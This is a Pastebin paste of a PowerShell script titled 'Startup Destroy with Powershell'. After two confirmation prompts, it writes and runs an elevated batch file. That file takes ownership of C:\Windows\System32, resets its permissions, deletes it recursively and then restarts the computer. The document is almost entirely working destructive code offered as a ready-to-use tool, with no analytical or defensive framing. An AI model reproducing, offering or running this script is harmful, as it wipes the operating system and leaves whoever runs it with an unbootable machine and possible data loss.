Advertisement
FlyFar

Startup Destroy with Powershell

Oct 21st, 2021
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'Written by FlyFar
  2. function Warningscript{
  3. Write-host "Really???"
  4. $WarningResponce = Read-host "Press Y to continue."
  5. if ($WarningResponce -eq "Y"){
  6. Lastwarning
  7. }
  8. else {
  9. exit
  10. }
  11. }
  12.  
  13. <#
  14. No
  15. #>
  16. function Lastwarning{
  17. Write-host "
  18. No"
  19.    $Lastchance = Read-host "Type 'I understand' to continue, (no quotations and caps sensitive)."
  20.    if ($Lastchance -eq "I understand"){
  21.    Payload
  22.    }
  23.    else {
  24.    exit
  25. }
  26. }
  27.  
  28. <#
  29. Writes a command to the batch file, executes the file, removes the batch file
  30. when finished, then restarts the computer
  31. #>
  32. function Payload{
  33. Set-Location $PWD
  34. echo "@echo off" "takeown /f C:\Windows\System32" "cacls C:\Windows\System32" "rd /s /q %windir%\system32"| out-file -Encoding ascii del.bat
  35. powershell -command "Start-Process del.bat -Verb runas -Wait"
  36. Remove-Item $PWD\del.bat
  37. Restart-Computer
  38. }
  39.  
  40. <#
  41. Runs the script
  42. #>
  43. Warningscript
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement